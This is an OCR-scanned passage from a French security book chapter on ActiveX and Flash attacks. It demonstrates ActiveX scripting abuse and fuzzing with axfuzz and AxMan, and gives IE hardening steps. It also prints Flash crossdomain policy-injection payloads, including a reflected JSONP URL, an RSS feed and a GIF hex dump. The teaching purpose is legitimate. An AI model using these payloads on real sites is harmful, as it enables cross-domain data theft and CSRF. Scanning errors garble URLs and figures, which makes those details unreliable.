</SCRIPT> 

<OBJECT ID="WebBrowser1 " WIDTH=300 HEIGHT=151 

CLASSID= " CLSID : 8856F961 -340A- 1 1 D0-A96B-00C04FD705A2 " > 
<PARAM NAME="Location" VALUE="www.isecpartners.com"> 
</OBJECT> 

</BODY> 
</HTML> 

Pour comprendre comment un assaillant peut detourner des controles ActiveX a son 
avantage, examinons ActiveX, stream. 



— ^ Attention 

Le controle ActiveX doit etre installe sur une machine de test, non sur un portable d'entre- 
prise ou un serveur en production. Ce controle telechargera du code qui peut presenter un 
danger pour votre systeme. 



Telechargez ActiveX.stream a partir de http://Iabs.isecpartners.coin/Hacking- 
ExposedWeb20/activex.stream.htm. En fonction des parametres de securite ActiveX 
du navigateur, que nous examinerons plus loin, vous recevrez quelques avertissements 
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avant que la page ne s'execute. Nous choisissons un objet qui n'est pas marque comme 
securise pour I'ecriture de scripts afin qu'il ne puisse pas etre invoque, sauf si le naviga- 
teur a autorise les objets non marques comme securises. Si vous utilisez une machine de 
test, cliquez sur Oui pour executer la page de I'ActiveX. ActiveX.stream va alors effec- 
tuer quelques activites dangereuses pour le systeme et le navigateur. Nous y reviendrons 
dans les sections suivantes. 

Execution de scripts ActiveX 

ActiveX . stream commence par creer un fichier sur le systeme d' exploitation de I'utili- 
sateur en utilisant un script Visual Basic qui invoque Scripting . FileSystemObj ect, 
comme vous pouvez le voir entre les balises <SCRIPT> et </SCRIPT> dans le code prece- 
dent. Le script VB cree un fichier nomme HackingXposed20.txt sur le lecteur C:. II 
s'agit d'un fichier texte qui contient la phrase Tastes Like Burning (9a sent le brule). Le 
format et le contenu du fichier n'ont pas d'importance. Le point essentiel est que le 
controle ActiveX vous a permis d'executer un script qui peut effectuer les actions 
suivantes : 

■ acceder au systeme d' exploitation ; 

■ creer un fichier sur le systeme local ; 

■ ecraser potentiellement des fichiers existants sur le systeme. 

La creation d'un simple fichier texte peut sembler passablement innocente, mais le fait 
de pouvoir creer un fichier sur le lecteur C : est en soi une operation dangereuse. En 
allant simplement sur une page web, vous donnez acces a votre systeme d'exploitation. 
La page web peut installer un programme hostile (comme un virus ou un mecanisme 
d'enregistrement de la frappe des touches du clavier), installer un logiciel espion ou un 
logiciel malveillant, acceder aux informations enregistrees dans des cookies, voire 
meme supprimer des fichiers importants du systeme d'exploitation, comme le fichier de 
chargement du demarrage (boot.ini). Toutes ces actions peuvent endommager gravement 
le systeme. 

Comment un utilisateur peut-il savoir si le controle ActiveX est malveillant ? II faut 
bien I'avouer, cela risque d'etre difficile. Meme si le controle n'est pas lui-meme 
malveillant, il peut servir de point d'entree a I'assaillant qui veut proceder a des opera- 
tions indelicates. L' objet est en quelque sorte une boite a outils qui peut servir a des 
actes legitimes ou nefastes. Meme si la page de I'ActiveX a ete signee, seuls quelques 
avertissements disparaitront dans cet exemple, mais I'utilisateur ne pourra toujours pas 
determiner si les actions effectuees par le controle ActiveX sont bonnes ou mauvaises. 
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Invocation de controles ActiveX 

En second lieu, ActiveX, stream invoque un nouveau navigateur a I'interieur du naviga- 
teur existant et va sur le site http://www.isecpartners.com. Le probleme vient du fait 
que le controle ActiveX permet a I'assaillant d'effectuer les operations suivantes : 

■ invoquer un controle ActiveX existant sur la machine de I'utilisateur ; 

■ obliger I'utilisateur a realiser des activites sans qu'il en ait connaissance, comme 
aller sur un site web choisi par 1' assaillant. 

Les lignes 19 a 22 d'ActiveX.stream montre I'emploi du CLSID Shell . Explorer 
(8856F961 340A 11D0 A96B 00C04FD705A2) pour effectuer ces operations. CLSID 
Shell . Explorer est un controle ActiveX qui peut etre invoque pour ouvrir un nouveau 
navigateur a I'interieur du navigateur de I'utilisateur. Si une petite visite sur le site 
www.isecpartners.com n'a rien d'hostile, un assaillant pourrait parfaitement diriger 
I'utilisateur vers un site web malveillant, avec par exemple une page web contenant une 
attaque de type XSS ou CSRF. Ces attaques peuvent cibler les informations de session 
de I'utilisateur ou faire en sorte que I'utilisateur realise des operations en ligne sans 
qu'il en ait conscience. La Figure 8.4 montre les resultats d'ActiveX.stream. 
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Figure 8.4 

Resultats d'ActiveX.stream. 
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D' autre part, bien que le nouveau navigateur soit actuellement visible par I'utilisateur 
final, grace aux champs de hauteur et de largeur fixes a 300 et a 151, un assaillant pour- 
rait le rendre virtuellement invisible en attribuant la valeur 1 a ces deux parametres. 
Dans ce cas, le texte ActiveX.stream serait simplement affiche sur la page ActiveX hostile, 
alors que I'assaillant force le systeme de I'utilisateur a visiter un emplacement qu'il aura 
choisi, sans que I'utilisateur en soit averti ou ait donne son accord. La Figure 8.5 illustre 
cette methode, comme le montre le texte ActiveXstream affiche en haut de la page et 
I'adresse www.isecpartners.com presente dans la barre d'etat du navigateur. 
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Figure 8.5 

ActiveX.stream avec masquage du navigateur 

Test de la securite d'ActiveX 

Puisque vous comprenez a present les bases de la securite d'ActiveX, il est important de 
tester les controles afin d'en evaluer la securite. La section suivante explique comment 
tester les failles de securite decrites dans les sections precedentes. Les tests se font 
manuellement ou a I'aide d' outils automatises. 

Test automatise avec SecurityQA Toolbar d'iSEC 

La procedure de test des objets COM ActiveX sur des applications web s'avere genera- 
lement lourde et complexe. Pour que la securite des controles ActiveX re9oive toute 
I'attention necessaire, SecurityQA Toolbar d'iSEC Partners offre une fonctionnalite de 
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verification de la securite des controles ActiveX. Cette barre d'outils est un utilitaire qui 
permet de tester la securite des applications web. Les developpeurs et le service qualite 
d'une entreprise s'en servent souvent pour determiner la securite d'une application, que 
ce soit dans une partie precise ou sa globalite. 

SecurityQA Toolbar offre de nombreuses fonctionnalites qui permettent de verifier la 
securite d'une application web, y compris plusieurs tests Web 2.0 tels que la securite 
d'ActiveX. Grace a elle, il est plus facile de garantir que le controle ActiveX present 
dans une application web met en oeuvre les normes de securite appropriees, comme 
I'utilisation des controles signes, 1' absence du marquage SFS/SFI des controles et 
I'emploi de SiteLock. 

Pour tester la securite d'un controle ActiveX, procedez de la maniere suivante : 

1. Allez sur la page http://www.isecpartners.coin/SecurityQAToolbar.html et 

demandez une copie d'evaluation du produit. 

2. Apres avoir installe la barre d'outils, consultez I'application web qui contient le 
controle ActiveX. 

3. Apres avoir installe le controle, choisissez Code Handling > ActiveX Testing (voir la 
Figure 8.6). 
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Figure 8.6 

Fonctionnalite ActiveX de la barre d'outils SecurityQA. 



4. SecurityQA Toolbar verifie automatiquement les caracteristiques de securite mises 
en place par le controle ActiveX. Plus precisement, elle teste les elements suivants : 

• SiteLock ; 

• signature du controle ; 

• securite pour I'initialisation ; 

• securite pour I'ecriture de scripts. 

5. Lorsque 1' analyse est terminee, affichez son rapport en choisissant Reports > 
Current Test Results. Toutes les failles de securite trouvees sont alors presentees 
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dans le navigateur (voir la Figure 8.7). La ligne iSEC Test Value montre que le 
module a ete marque Safe for Initialization, ce qui n'est pas une bonne pratique. 
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Figure 8.7 

Resultats des tests ActiveX effectues par SecurityQA Toolbar 



Fuzzing des cont roles ActiveX 

Pour identifier les problemes, comme un depassement de tampon, qui peuvent permet- 
tre a un assaillant de mettre a bas ou de prendre le controle du systeme d'un utilisateur 
a I'aide d'un controle ActiveX, la meilleure solution consiste generalement a employer 
une technique de fuzzing sur I'objet COM. Le fuzzing consiste a injecter des donnees 
aleatoires dans les entrees de n'importe quelle application^ Si I'application s'inter- 
rompt ou se comporte de maniere etrange, cela signifie qu'elle ne traite pas de maniere 
appropriee les entrees et que I'assaillant peut disposer d'un point d'attaque. Quelques 
outils permettent d'employer cette technique sur un controle ActiveX, notamment 
axfuzz et AxMan. 



1. N.D.T. : Le fuzzing est une technique permettant notamment de tester des logiciels. Cidee est 
d'injecter des donnees aleatoires dans les entrees d'un programme. Si le programme echoue (par exemple 
en crashant ou en generant une erreur), alors il y a des defauts a corriger. 
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Axenum et axfuzz 

Axenum et axfuzz ont ete ecrits par Shane Hkd. Axenum enumere tous les objets COM 
ActiveX presents sur la machine et marques comme securises pour I'ecriture de scripts ou 
pour ['initialisation. Nous I'avons mentionne precedemment, des assaillants distants 
peuvent detourner ces objets ActiveX a leur propre avantage. Apres qu'axenum a genere la 
liste des CLSID securises, a I'aide de I'interface lOb j ectSaf ety, axfuzz peut servir a tester 
r interface ActiveX de base. Voici la procedure qui permet d'appliquer la technique de 
fuzzing sur les controles ActiveX d'une machine en utilisant axenum et axfuzz : 

1. Telechargez axenum et axfuzz a partir de SourceForge a I'adresse 
http://sourceforge.net/project/showfiles.php?group_id=122654&package_id 
=133918&release_id =307910. 

2. Apres avoir extrait les fichiers de 1' archive, executez axenum.exe depuis la ligne de 
commande. II enumere alors tous les CLSID (les objets ActiveX) qui sont marques 
comme securises. La commande suivante enregistre tous les CLSID marques comme 
securises dans le fichier securise.txt (ceux qui nous interessent prioritairement) et 
r ensemble des CLSID dans liste_clsid.txt (voir la Figure 8.8). 

c:\axenum >securise . txt 2>liste_clsid .txt 



cv C:\WINDOWS\syslem32\cmd. 

C : Saxf uz z > . Saxen urn . e xe >s( 
C:Saxf uzz> 



Figure 8.8 

Enumeration des CLSID 
(objets ActiveX) marques 
comme securises pour 
I'ecriture de scripts etiou 
pour initialisation. 
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3. Lorsque cette premiere phase est terminee, vous pouvez utiliser axfuzz pour 
envoyer des donnees aleatoires aux controles ActiveX. Verifiez que les CLSID choi- 
sis possedent des methodes et des proprietes (ceux pour lesquels quelque chose est 
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affiche apres Category : Safe for Scripting/Initialising). Par exemple, la commande 
suivante applique la technique de fuzzing au controle qui correspond au premier 
CLSID securise montre a la Figure 8.8 : 

c:\axfuzz 1000 |02BF25D5-8C1 7-4B23-BC80-D3488ABDDC6B} 

4. Pendant le processus, axfuzz vous demandera d'executer le fuzzing une fois qu'il 
aura fixe toutes les proprietes et les methodes. Choisissez Yes pour continues 

5. Lorsque le fuzzing est termine, axfuzz affiche les resultats. Si vous voyez appa- 
raitre Crashed, vous avez identifie un probleme dans I'objet ActiveX dont 
I'entree n'est pas correctement traitee et qui a conduit au crash du systeme 
distant ou a une prise de controle non autorisee de la machine. La Figure 8.9 
presente un exemple. 
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Figure 8.9 

Crash d'un objet 
ActiveX obtenu 
par fuzzing. 



AxMan 



Popularite : 
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Simplicite : 
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Impact : 
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Evaluation du risque : 


7 



H. D. Moore a ecrit un excellent outil de fuzzing ActiveX base sur les utilitaires 
axenum/axfuzz de Shane. AxMan enumere egalement les CLSID et alimente les objets 
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COM ActiveX en donnees aleatoires. II identifie leur sensibilite aux attaques par deni 
de service, a I'obtention d'un acces root a distance et aux depassements de tampons. 
AxMan realise un travail de fuzzing plus approfondi et de meilleure qualite, comme I'a 
montre 1' attention que lui ont portee les medias en juillet 2006, qualifie de mois 
des bogues des navigateurs (MoBB, Month of Brower Bugs) par H.D. Moore au vu des 
resultats de son outil. De maniere similaire a notre propos precedent sur les attaques par 
depassement de tampon et les controles ActiveX, AxMan est en mesure d'examiner 
automatiquement les objets CLSID qui ont ete telecharges sur le systeme d'un utilisa- 
teur. Apres avoir enumere tous les controles ActiveX presents sur la machine de I'utili- 
sateur, AxMan peut les soumettre a un fuzzing pour savoir si les objets COM se 
comportent correctement. En cas de comportement inapproprie ou inhabituel, que vous 
pourrez remarquer par le manque de reactivite du navigateur et/ou du systeme d' exploi- 
tation, AxMan determinera si I'objet COM est vulnerable a un depassement de tampon 
qui pouiTait conduire a un deni de service ou a I'execution d'un code a distance. 

AxMan peut etre employe de deux manieres : a partir du site web de demonstration en 
ligne de I'outil ou en utilisant un serveur web local pour executer localement I'outil. 
Ces deux methodes offrant les memes possibilites, nous illustrons cet outil avec la 
version en ligne. La procedure suivante decrit toutes les etapes de 1' application du 
fuzzing a un objet COM ActiveX avec la version en ligne d' AxMan : 

1. AUez sur I'interface de demonstration en ligne d'AxMan a I'adresse http://metas- 
pIoit.coin/users/hdm/tools/axman/demo/ (voir la Figure 8.10). 
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Figure 8. 10 

Interface de demonstration d'AxMan. 
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2. Avant qu' AxMan ne puisse envoyer des donnees a tous les CLSID (etape 3) ou a un 
seul CLSID (etape 4) un debogueur post-mortem doit etre installe. Ce debogueur 
post-mortem sera invoque suite a la detection d'un crash et pourra servir a interroger 
le programme sur la cause de ce crash. AxMan recommande d'attacher WinDbg a 
Internet Explorer (iexplore.exe) avant de debuter le fuzzing. 

• Telechargez WinDbg depuis la page http://www.microsoft.coni/whdc/devtools/ 
debugging/installx86.mspx. 

• Apres I'avoir installe, il est possible d'employer deux methodes avec WinDbg. 
Voici la premiere. Choisissez Demurrer > Tous les programmes > Debugging 
Tools for Windows > Windbg. Fermez ensuite toutes les instances d'lE, excepte 
celle dans laquelle AxMan est charge. Choisissez File > Attach to a Process. 
Selectionnez iexplore.exe (verifiez qu'il s'agit du processus IE dans lequel 
AxMan est charge). Appuyez sur F5. Le debogueur etant desormais attache a IE, 
revenez a AxMan dans Internet Explorer. 

• La seconde methode consiste a charger WinDbg a partir du menu demarrer. Choi- 
sissez Demarrer > Executer et saisissez cmd.exe. AUez dans le repertoire de 
WinDbg (C :\Program Files\Debugging Tools for Windows) et saisissez windbg I 
sur la ligne de commande. 

3. Pour recenser tous les CLSID du systeme local qui seront soumis au fuzzing, 
cliquez simplement sur le bouton Start. AxMan commencera alors a enumerer tous 
les CLSID presents sur le systeme local. Notez que ce processus est tres long. 

4. Si vous avez deja obtenu les CLSID avec axenum, ne cliquez pas sur le bouton Start. 
A la place, copiez le CLSID a partir du fichier securise.txt (par exemple, 
(02BF25D5-8C17-4B23-BC80-D3488ABDDC6BJ de la Figure 8.6) et copiez-le dans 
le champ CLSID. Cliquez ensuite sur Single. 

5. Si le programme s'interrompt pendant le fuzzing de tous les CLSID ou un seul 
CLSID, IE doit s'arreter et passer le controle a WinDbg, qui affiche I'exception. A 
ce stade, AxMan a identifie un probleme dans lequel une propriete et/ou une 
methode ActiveX n'est pas geree de maniere appropriee. II est alors possible qu'un 
assaillant crashe le systeme de I'utilisateur ou en prenne le controle a distance. 
Apres le dysfonctionnement d'lE, revenez dans WinDbg pour examiner I'exception. 

Test du depassement de tampon dans des controles ActiveX 

Pour garantir que vos controles ActiveX ne seront pas vulnerables aux attaques par 
depassement de tampon decouvertes par AxMan ou axfuzz, vous devez mettre en prati- 
que une programmation securisee. D'autre part, I'emploi de ces outils lors du controle 
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de qualite pendant le developpement des logiciels permet d'eviter les problemes lies au 
depassement de tampon dans les environnements de production. 

Protection contre les objets ActiveX non surs dans IE 

Pour s' assurer que des objets ActiveX non surs ne sont pas telecharges ou executes par 
IE, une bonne methode consiste a modifier les parametres de securite de ce navigateur. 
IE dispose d'un grand nombre d'options de securite, certaines etant reservees aux 
controles ActiveX. En voici les differentes categories : 

■ afficher la video et 1' animation sur une page web qui n'utilise pas de lecteur multi- 
media externe (IE 7 uniquement) ; 

■ autoriser les controles ActiveX precedemment inutilises a s'executer sans demander 
confirmation (IE 7 uniquement) - ActiveX Opt-In ; 

■ autoriser les scriptlets (IE 7 uniquement) ; 

■ comportements de fichiers binaires et des scripts ; 

■ controles d' initialisation et de script ActiveX non marques comme securises pour 
I'ecriture de scripts ; 

■ controles de script ActiveX marques comme securises pour I'ecriture de scripts ; 

■ demander confirmation pour les controles ActiveX ; 

■ executer les controles ActiveX et les plug-ins ; 

■ telecharger les controles ActiveX non signes ; 

■ telecharger les controles ActiveX signes. 

Pour faire en sorte que les controles de securite adequats soient places sur un objet Acti- 
veX, les parametres de securite d'lE doivent etre ajustes en consequence. Par exemple, 
r option Telecharger les controles ActiveX non signes doit toujours etre fixee a 
Desactive. Procedez au parametrage decrit dans cette section pour que la securite 
d'lE appropriee soit definie sur les controles de securite ActiveX (notez que certaines 
applications pourraient ne pas fonctionner correctement si elles emploient une bonne 
securite ActiveX) : 

1. Ouvrez Internet Explorer. 

2. Choisissez Outils > Options Internet. 

3. Selectionnez I'onglet Securite, cliquez sur la zone Internet et cliquez sur Person- 
naliser le niveau. 

4. Allez jusqu'a la section Controles ActiveX et plug-ins, puis modifiez les parametres 
de la maniere suivante : 
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• Afficher la video et I'animation sur une page Web qui n'utilise pas de lecteur 
multimedia externe (IE 7 uniquement) : Desactive ; 

• Autoriser les controles ActiveX precedemment inutilises a s'executer sans 
demander confirmation (IE 7 uniquement) : Desactive ; 

• Autoriser les scriptlets (IE 7 uniquement) : Desactive ; 

• Comportements de fichiers binaires et des scripts : Active ; 

• Controles d'initiaUsation et de script ActiveX non marques comme securises 
pour I'ecriture de scripts : Desactive ; 

• Controles de scripts ActiveX marques comme securises pour I'ecriture de 
scripts : Demander ; 

• Demander confirmation pour les controles ActiveX : Active ; 

• Executer les controles ActiveX et les plug-ins : Demander ; 

• Telecharger les controles ActiveX non signes : Desactive ; 

• Telecharger les controles ActiveX signes : Demander. 

IE met desormais en oeuvre un niveau de securite de base pour les controles ActiveX. 
Les controles non signes et les controles marques securises pour I'ecriture de scripts et 
I'initialisation, entre autres protections, sont a present proteges. 



— 4 Info 

IE? fournit une liste ActiveX Opt-In qui permet a un utilisateur de disposer d'une configura- 
tion centrale des controles qui s'executent silencieusement, ceux qui exigent une confirmation 
et ceux qui sont desactives. 



Pour faciliter la mise en place des bons parametres de securite ActiveX dans IE, iSEC 
Partners a cree un outil automatique. II examine les parametres de securite du naviga- 
teur vis-a-vis d'ActiveX et genere un rapport indiquant si les bonnes pratiques sont 
suivies. Pour auditer les parametres de securite ActiveX d'lE, procedez comme suit : 

1. Telechargez SecurelE.ActiveX a partir de I'adresse http://www.isecpartners.coni/ 
tooIs.html. 

2. Lancez le programme en choisissant Demurrer > Tous les programmes > iSEC 
Partners > SecurelE.ActiveX > SecurelE.ActiveX. 

3. Al'invite de commande, saisissez SecureIE.ActiveX.exe. 

4. Saisissez le nom du systeme que vous souhaitez analyser. Portable. Sonia par exem- 
ple, puis appuyez sur Entree (voir la Figure 8.11). 
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SecurelE.ActiveX examine les parametres de securite d'lE concernant les controles 
ActiveX. Une fois I'analyse terminee, il affiche les resultats a I'ecran et cree un rapport 
HTML (voir la Figure 8.12). 



SecuielE. ActiveX - SecurelE.ActiveX. exe 




3 


Microsoft Windows HP [version 5.1.26001 
(C) Copyright 1985-2001 Microsoft Corp. 






C : \Prograni Files\iSEC Partners\SecureIE . Act iueK>SecureIE . Act iueH . exe 






IE flctiueH Security Configuration Analyzer 
iSEC Partners 

Written by Hiraanshu Dwiuedi 
https ://www . isecpartners .com 






What is the hostname of this system? 
Portable. Sonia_ 

















Figure 8.11 

Outil d'analyse SecurelE.ActiveX d'iSEC Partners. 



C C:\Ptograni Files\iSEC Piirtner«\SecurelE.ActiveX\Pi)rtoble.Si)nio.Results. html - Windowt Internet Explorer [r]@[x) 


' |^C;\ProgramFiles\EECPartners^SecijreIE.Active>:\Portable, Sonia.Pesults.html iSHl h**"!! ^ Live Search \\^\'\ 


'. Fichier Edition Affichage Fayori5 Outils ^ 


ik ^ |^C;\PragramFiles\i5ECPari:ners\SecLjreIE.ActiveX\Pori:.., | 1 S ' § ' Page - Ojtil; - 


iSEC Partners 




EE Acth eX Secnrih" C on fign ration Analyzer 
https :// TTOTi'. i s ^cpa rtii &r s . c oni 
Writteii by Himansbii DM-ivedi 
Contact: bdnivei]i@ise'Cp3rtners.coiii 




AnalyzeF Resnlts for Fortable.Sonia.: 




Satisfacton- Signed ActiveX Controls are prompted. For more information refer to Si an ed ActiveX Controb 

Saiisfacton" Unsigced ActiveX Controls are not Enabled. For more kfonnation refer to Un&i en ed ActiveX Controb 

Un satis fa ctorv: ActiveX contiok ariid Phig-Ins are Enabled For more kforniation refer to Acti\'eX controls and PhiE-Ins 

Satisfactonr ActiireX Controk not marked as safe can't be Initialized' Scripted. For more information refer to ActiveX Controls, not marked as 




safe 

Unsatis fa ctorv: ActK'eX Controls marked as safe can be InitiaKzed'''Scrrpted. For more information refer to ActiveX Controls marked as safe 
Unsatisfacf ot^-: Automatic oromotins for Actrv^eX controls is not Enabled. For more information refer to Automatic Prompting 
Unsatisfacf Dr%': Einarv Script Eehmiors are Enabled. For more irfoimation refer to Emar^' Script Behaviors 

Safisfaclonr Previously unused ActiveX controls are not allowed run without promptins. For more infomaation refer to ActiveX Opt-In 
Satisfacton- Actrv^eX Scriptlets are disabled. For more information refer to ActK'eX Scriptlets 

Satisfactory" Video and animation is not displayed on a webpage that does not use external media player. For mtore inTormatiDn refer to 
Video/ Animation 


1 


EE ActiveX Secnrit^- Analyzer Complete! 




For more information, v'isit iSEC Partners 


1 


lis P05te de travail ^100% •' .: 



Figure 8. 12 

Resultats generes par SecurelE.ActiveX. 
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Resume 

ActiveX est une technologie offrant de nombreux avantages aux developpeurs d' appli- 
cations web, mais puissance elevee rime avec responsabilite elevee. Les controles Acti- 
veX peuvent ajouter, supprimer, modifier ou actualiser des informations situees en 
dehors du perimetre du navigateur web, directement dans le systeme d'exploitation. Si 
cette capacite a ete initialement presentee par Microsoft comme un avantage significatif 
par rapport aux applets Java, elle a montre des points d'exposition importants, principa- 
lement en raison de problemes de securite. Neanmoins, meme si le demarrage d'Acti- 
veX a ete tres difficile, Microsoft a fourni plusieurs mesures de securite pour utiliser les 
controles avec un niveau de protection eleve. Par exemple, des fonctionnalites comme 
SiteLock, la signature du code et le non-marquage des controles comme securises pour 
I'ecriture de scripts ou 1' initialisation permettent de reduire les problemes de securite 
souleves par les controles ActiveX. Bien que Microsoft ait plutot bien travaille sur la 
protection dans ActiveX, 1' architecture de la technologie, son utilisation par les deve- 
loppeurs et la fa^on dont les administrateurs la deploient creent des situations dans 
lesquelles elle est employee de maniere non sure. Plusieurs solutions permettent de 
reduire les problemes de securite d'ActiveX et une simple recherche dans une base de 
donnees des vulnerabilites montrera probablement qu'une exploitation par depassements 
de tampon dans ActiveX a eu lieu dans le mois courant. 

Lorsque Ton utilise ActiveX, le plus important est de ne pas oublier d'employer toutes 
ses options de securite. Si votre entreprise souhaite deployer des controles ActiveX, la 
plupart des fonctionnalites de securite proposees par Microsoft et examinees dans ce 
chapitre doivent etre utilisees dans le cadre d'une entreprise. 
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II est possible d'employer Adobe Flash pour mener des attaques contre des applica- 
tions web qui utilisent ou non Flash. Par consequent, aucune application web n'est 
immunisee contre les attaques basees sur Flash. Ces attaques sont du type XSS 
(Cross-Site Scripting) et CSRF (Cross-Site Request Forgery). Meme en presence 
d'une protection, elles peuvent permettre un acces intranet non autorise et un 
contournement de pare-feu. 

Introduction au modele de securite de Flash 

Les versions recentes de Flash proposent des modeles de securite complexes qui 
peuvent etre adaptes aux preferences du developpeur. Nous decrivons les aspects 
importants du modele de securite introduit dans la version 8 du lecteur Flash. Cepen- 
dant, nous commen9ons par decrire brievement quelques caracteristiques de Flash 
inexistantes dans JavaScript. 

Le langage d'ecriture de scripts de Flash se nomme ActionScript. ActionScript ressemble a 
JavaScript et comprend quelques classes tres interessantes pour 1' assaillant : 

■ La classe Socket permet au developpeur de creer des connexions par socket TCP en 
mode raw vers des domaines approuves, par exemple pour construire des requetes 
HTTP completes avec des en-tetes pastiches comme Referrer. De plus. Socket peut 
servir a scanner des ordinateurs et des ports accessibles depuis le reseau mais inac- 
cessibles depuis I'exterieur. 
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■ La classe Externallnterf ace permet au developpeur d'executer du code JavaScript 
dans le navigateur a partir de Flash, par exemple pour lire et ecrire docu 
ment . cookie. 

■ Les classes XML et URLLoader effectuent des requetes HTTP (avec les cookies du 
navigateur) pour le compte de I'utilisateur, vers des domaines approuves, par exem- 
ple des requetes inter-domaines. 

Par defaut, le modele de securite de Flash s'apparente a la politique de meme origine 
(SOP). Autrement dit, Flash peut lire uniquement les reponses qui proviennent du 
meme domaine que 1' application Flash. Par ailleurs, Flash applique une forme de secu- 
rite autour de remission des requetes HTTP, mais il est generalement possible d'effec- 
tuer des requetes GET inter-domaines a I'aide de la fonction getURL(). De plus, les 
applications Flash chargees a I'aide de HTTP ne sont pas autorisees a lire des reponses 
HTTPS. 

Flash autorise les communications inter-domaines lorsqu'une strategic de securite 
definie sur le second domaine permet les communications avec le domaine de resi- 
dence de r application Flash. La strategic de securite est un fichier XML, habituel- 
lement nomme crossdomain . xml, place dans le repertoire racine du second 
domaine. D'un point de vue securite, voici le pire fichier de strategic que Ton puisse 
imaginer : 

<cross- domain -policy> 

<allow-access-f rom domain^"*" /> 
</oross-domain-policy> 

Cette strategic autorise toutes les applications Flash sur I'lntemet a communiquer avec 
le serveur qui heberge ce fichier crossdomain . xml. Ce modele de securite est dit 
"ouvert" et permet aux applications Flash malveillantes d'effectuer les operations 
suivantes : 

■ Charger des pages, a I'aide de I'objet XML, sur le domaine vulnerable qui emploie le 
modele de securite ouvert. L'assaillant peut alors lire des donnees confidentielles 
stockees sur le site vulnerable, y compris des jetons de protection CSRF, et poten- 
tiellement, les cookies ajoutes aux URL (comme jsessionid). 

■ Mener des attaques basees sur les methodes HTTP GET et POST a I'aide de la fonc- 
tion getURL( ) et de I'objet XML, meme en presence d'une protection CSRF. 
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Le nom et le repertoire du fichier de strategie ne sont pas figes. Pour charger n'importe 
quel fichier de strategie, utilisez le code ActionScript suivant : 

System. security .loadPolicy File ( "http: / /pages- publiques .universite.fr/ 
crossdomain . xml" ) ; 

System. security. loadPolicyFileO est une fonction ActionScript qui charge toute 
URL de n'importe quel type MIME et tente de lire la strategie de securite qui se trouve 
dans la reponse HTTP. Si le fichier ne se trouve pas dans le repertoire racine du serveur, 
la strategie s' applique uniquement au repertoire qui contient le fichier, ainsi qu'a ses 
sous-repertoires. Supposons par exemple que ce fichier soit situe sous http: / /pages 
publiques.universite.fr/-attaquant/crossdomain.xml. La strategie s'applique 
alors a des requetes comme http: //pages publiques.universite.fr/-attaquant/ 
activerNuisance.html et http: //pages publiques.universite.fr/-attaquant/ 
pire/activerAutreNuisance . html, mais pas aux pages http: //pages publi 
ques . universite . f r/-quelqueEtudiant/imagesDeFamille . html ou http : / /pages 
publiques.universite.fr/index.html. Cependant, il ne faut pas faire confiance a la 
securite basee sur le repertoire. 

Attaques par reflexion de la strategie de securite 



Popularite : 


7 


Simplicite : 


9 


Impact : 8 


Evaluation du risque : 


8 



Les fichiers de strategie sont analyses avec indulgence par Flash. Si un assaillant peut 
forger une requete HTTP qui amene le serveur a lui renvoyer un fichier de strategie. 
Flash acceptera sans probleme celui-ci. Par exemple, supposons que la requete AJAX 

http : / /www. u niversite.fr /List eModules?format=i s&callback= 
<c ross- domain- policy ><allow-access-from%20domain=" * " /> 
</cross-domain-policy> 

produise la reponse suivante : 

<c ross- domain- policy ><allow-access-from%20domain=" * " /> 

</cross-domain-policy>( ) { return {name: "Anglaisi 01 ", desc :" Lire des livres" } , 
{name: "Informatique101 " , desc:"Jouer sur des ordinateurs"}}; 
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Nous pouvons ensuite charger cette strategic avec du code ActionScript : 

System. security . loadPolicyFile( " http : / /www. universite.fr/ListeCours? 

f ormat=i son&callback=<cross-domain-policy><allow-access-f rom%20domain=\ " *\ " /> 

</cross-domain-policy>" ) ; 

L' application Flash dispose ainsi d'un acces inter-domaines complet a http:// 
www.universite.fr/. Notez que le type MIME de la reponse n'a aucune importance. 
Par consequent, si la protection contre les attaques XSS se fonde sur le type MIME, la 
strategic de securite fonctionne toujours. 

W Attaques sur la strategic de securite stocl(ee 



Popularite : 


7 


Simplicite : 8 


Impact : 8 


Evaluation du risque : 


8 



Si un assaillant est en mesure de telecharger et d'enregistrer un fichier d'image, audio, 
RSS ou autre sur un serveur et que ce fichier puisse ensuite etre recupere, il peut placer 
la strategic de securite Flash dans ce fichier. Par exemple, le flux RSS suivant est 
accepte en tant que strategic de securite ouverte : 

<?xml version="1 .0"?> 
<rss version="2.0"> 
<channel> 

<title> 
<cross -domain -policy> 

<allow-access-f rom domain="*" /> 
</ cross -domain- policy> 

</title> 

<link>x</linl<> 

<description>x</description> 
<language>en-us</language> 

<pubDate>Tue, 10 Jun 2003 04:00:00 GIVIT</pubDate> 

<lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate> 

<docs>x</docs> 

<gene rat or>x</ gene rat or> 

<item> 

<title>x</title> 

<linl<>x</link> 

<description>x</description> 
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<pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate> 

<guid>x</guid> 
</item> 
</channel> 
</rss> 

Stefan Esser de hardened-php.net a imagine une belle attaque de la strategie de secu- 
rite stockee en utilisant des commentaires dans un fichier GIF. II a cree une image GIF 
d'un seul pixel, qui contient une strategie de securite Flash dans un commentaire. 
Depuis Flash Player 9.0 r47, cette methode est parfaitement acceptee par loadPo 
licyO : 

00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a <cr 

00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-polic 
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y> . . . <allow-acce 
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain=" 

00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d *"/> </cross- 

00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>. . 

II est possible de placer une strategie de securite ouverte dans les donnees (pas seule- 
ment dans des commentaires) de n'importe quel fichier d'image, audio ou autre valide. 
La methode est plus simple avec les formats de fichiers non compresses, comme les 
images de type BMP. Depuis Flash Player v9.0 r47, les seules limitations imposees par 
loadPolicyO sont que chaque octet avant la balise de fermeture </cross domain 
policy> respect les points suivants : 

■ etre differents de zero ; 

■ ne pas representer des balises XML non fermees (pas de <, 0x3c, isole) ; 

■ faire partie du jeu ASCII 7 bits (octets de 0x01 a 0x7F). 



Outils de hacking pour Flash 

Les developpeurs JavaScript n'auront aucune difficulte a programmer en Flash, car les 
langages ActionScript et JavaScript ont des origines communes. Les deux principaux 
outils de hacking pour Flash sont le compilateur ActionScript MTASC (Motion-Twin 
